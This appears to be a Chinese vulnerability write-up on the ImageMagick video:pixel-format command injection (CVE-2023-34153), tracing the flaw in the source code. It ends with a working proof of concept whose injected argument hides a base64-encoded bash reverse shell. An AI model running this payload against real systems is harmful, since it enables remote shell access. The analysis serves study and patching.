前言
本文来源无问社区,更多实战内容,渗透思路尽在无问社区http://www.wwlib.cn/index.php/artread/artid/12152.html
ImageMagick 是一个免费的创建、编辑、合成图片的软件。目前在 Github 上有 9.4k 的 star,有许多产品实际上都是使用 ImageMagick 作为底层能力的。
近期 ImageMagick 爆出在 7.1.0-1 及之前版本中存在命令注入漏洞。
Shell command injection vulnerability via video:vsync or video:pixel-format options in VIDEO encoding/decoding
根据漏洞描述可知,该漏洞通过 VIDEO 编码 / 解码中的 video:vsync 或 video:pixel-format 选项注入命令。
影响版本:ImageMagick<=7.1.0-1
CVE-2023-34153
根据提交的 commit 进行分析
https://github.com/ImageMagick/ImageMagick/commit/cc4638de0c98701b04478a7ecd828caaeb0b58bd
在 ImageMagick/coders/video.c 的 ReadVIDEOImage 函数中,通过 GetImageOption 获取用户传入选项的值,ConcatenateMagickString 函数拼接字符串
可以看到 ImageMagick 支持用户自定义选项 video:vsync 和 video:pixel-format,并将它们的值拼接后直接传入 ExternalDelegateCommand 函数
在该函数中会将传入的 command 经过扫描 &;<>| 非法字符的处理后,通过 system 函数实现命令执行
利用
处理普通的 gif 和 mov 文件的同时,在 video:pixel-format 选项中注入 shell 命令
wget https://github.com/ImageMagick/ImageMagick/releases/download/7.1.0-1/ImageMagick-a5513da-gcc-x86_64.AppImage
wget https://gitee.com/y1wan_1/test/raw/master/test.gif -O test.gif
wget https://gitee.com/y1wan_1/test/raw/master/test.mov -O test.mov
./ImageMagick-a5513da-gcc-x86_64.AppImage convert -define video:pixel-format='rgba"echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvODg4OSAwPiYxIg==|base64 -d|bash"' test.gif test.mov
反弹 shell 如下
注意:仅供学习参考,严禁用于非法目的!